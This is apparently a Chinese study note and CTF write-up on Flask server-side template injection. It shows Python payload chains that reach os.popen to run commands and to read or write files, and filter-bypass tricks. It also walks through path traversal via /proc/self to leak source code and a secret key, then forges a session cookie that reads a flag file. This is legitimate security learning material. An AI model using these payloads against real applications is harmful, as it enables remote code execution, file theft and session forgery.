Linux /proc/目录

/proc目录

Linux proc目录详解

flask基础

渲染方法

  • render_template
  • render_template_string

render_template()

用来渲染一个指定的文件

1
return render_template('index.html')

render_template_string()

渲染一个字符串的,SSTI与这个方法密不可分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def home():
templates = '''<!DOCTYPE html>
<html>
<head>
<title>Title</title>
<meta charset="utf-8">
</head>
<body>
testtesttest
<br>
{}
</body>
</html>
'''.format(request.args.get('key'))
return render_template_string(templates)

route

1
2
3
4
from flask import flask
@app.route('/index')
def hello_word():
return 'hello word'

route装饰器的作用是将函数与url绑定起来。例子中的代码的作用就是当你访问http://127.0.0.1:5000/index 的时候,flask会返回hello word

魔术方法

  • __class__ : 返回当前类
  • __mro__ : 返回解析函数时,类的调用顺序
  • __base__ : 返回当前类父类(字符串形式)
  • __bases__ : 以元组形式返回所有父类(可以通过索引访问)
  • __subclasses__ : 返回当前类的所有子类,可通过索引的方式定位某一个子类
  • __init__ : 类的初始化方法
  • __globals__ : 对包含函数全局变量的字典的引用

os.wrap_close类

需要定位到该类,不同的python版本,位置可能不同

也可以引入os模块,进行快速定位

1
print('aaa'.__class__.__base__.__subclasses__().index(os.__wrap__close))

接下来可以:

通过popen,以及read方法来进行系统命令执行

1
print('aaa'.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['popen']('whoami').read())

通过__builtins__下的open进行文件读取

1
print('aaa'.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['open']('test.txt').read())

通过写入的方式修改文件内容

1
print('aaa'.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['open']('test.txt','w').write('123456'))
  • 除此之外,还有<class ‘site._Printer’> 类也可以利用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
print('aaa'.__class__)
print('-'*8)
print('aaa'.__class__.__mro__)
print('-'*8)
print('aaa'.__class__.__mro__[1])
print('-'*8)
print('aaa'.__class__.__mro__[1].__subclasses__())
print('-'*8)
print(len('aaa'.__class__.__mro__[1].__subclasses__()))
print('-'*8)
print('aaa'.__class__.__base__.__subclasses__().index(os._wrap_close))
print('-'*8)
print('aaa'.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['popen']('whoami').read())
print('-'*8)
print('aaa'.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['open']('test.txt').read())
print('-'*8)
print('aaa'.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['open']('test.txt','w').write('123456'))
print('-'*8)
print('\n')

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<class 'str'>
--------
(<class 'str'>, <class 'object'>)
--------
<class 'object'>
--------
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'nt.ScandirIterator'>, <class 'nt.DirEntry'>, <class 'PyHKEY'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class 'os._AddedDllDirectory'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'MultibyteCodec'>, <class 'MultibyteIncrementalEncoder'>, <class 'MultibyteIncrementalDecoder'>, <class 'MultibyteStreamReader'>, <class 'MultibyteStreamWriter'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, ...]
--------
495
--------
133
--------
zhangmini\71806

--------
123456
--------
6
--------
<class 'os._wrap_close'>
--------

设置session

在flask中可以导入 flask.session 来操作 session, 使用方法和 python 中的字典差不多

1
2
3
4
5
6
7
from flask import session

@app.route("/login")
def login():
session["name"] = "jerry"
session["account"] = "python"
return "success"

注意处理session时,需要设置SECRET_KEY,因为flask是用该值对session进行加密和混淆

1
2
3
4
class Config(object):
SECRET_KEY = "DJFAJLAJAFKLJQ"

app.config.from_object(Config())

https://noraj.github.io/flask-session-cookie-manager/

ctf中的绕过技巧

  • 索引[]被过滤

    1
    print('aaa'.__class__.__base__.__subclasses__().__getitem__(133))   # 如果"[]"被过滤,可以用__getitem__()来进行替换
  • 引号被过滤,可以在url中通过下面方式实现绕过

    1
    ?key = {{'aaa'.__class__.__base__.__subclasses__().__getitem__(133).__init__.__globals__.get(request.args.a)(request.args.b).read()}}&a=popen&b=dir 
  • 关键字被过滤

    1
    __getattribute__('__'+'cla'+'ss'+'__')

    可以通过类似上面的构造来绕过

afr_3

本题考察了对linux系统中/proc/目录下文件作用的了解,同时考查了flask模板注入

  1. 请求 http://172.18.0.2:5000/article?name=../../../../../../proc/self/cmdline 可以获取到当前正在执行的系统命令,得到 python server.py

  2. 访问 http://172.18.0.2:5000/article?name=../../../../../../proc/self/cwd/server.py 可以得到server.py 的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/python 
import os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )
from flask_session import Session
app = Flask(__name__)
execfile('flag.py')
execfile('key.py')
FLAG = flag
app.secret_key = key
@app.route("/n1page", methods=["GET", "POST"])
def n1page():
if request.method != "POST":
return redirect(url_for("index"))
n1code = request.form.get("n1code") or None
if n1code is not None:
n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")
if "n1code" not in session or session['n1code'] is None:
session['n1code'] = n1code
template = None
if session['n1code'] is not None:
template = '''<h1>N1 Page</h1>
<div class="row>
<div class="col-md-6 col-md-offset-3 center">
Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>?
</div> </div> ''' % session['n1code']
session['n1code'] = None
return render_template_string(template) @app.route("/", methods=["GET"])

def index():
return render_template("main.html")

@app.route('/article', methods=['GET'])

def article():
error = 0
if 'name' in request.args:
page = request.args.get('name')
else:
page = 'article'

if page.find('flag')>=0:
page = 'notallowed.txt'
try:
template = open('/home/nu11111111l/articles/{}'.format(page)).read()
except Exception as e:
template = e

return render_template('article.html', template=template)


if __name__ == "__main__":
app.run(host='0.0.0.0', debug=False)
  1. 审计源码,发现flag在flag.py中,flask的appkey在key.py中,访问flag.py会被过滤

  2. session中存在flask ssti,伪造flask的cookie需要用到appkey

  3. 请求 http://172.18.0.2:5000/article?name=../../../../../proc/self/cwd/key.py 可以得到appkey

    1
    #!/usr/bin/python key = 'Drmhze6EPcv0fN_81Bj-nA'
  4. 在flask-session-cookie-manager中加密构造session

1
2
3
python .\flask_session_cookie_manager3.py encode -s 'Drmhze6EPcv0fN_81Bj-nA' -t '{"""n1code""": """{{''asd''.__class__.__mro__[2].__subclasses__()[40](''flag.py'').read()}}"""}'   

// 用""" 和 ''对参数进行转义,要不然会出错

然后就可以得到flag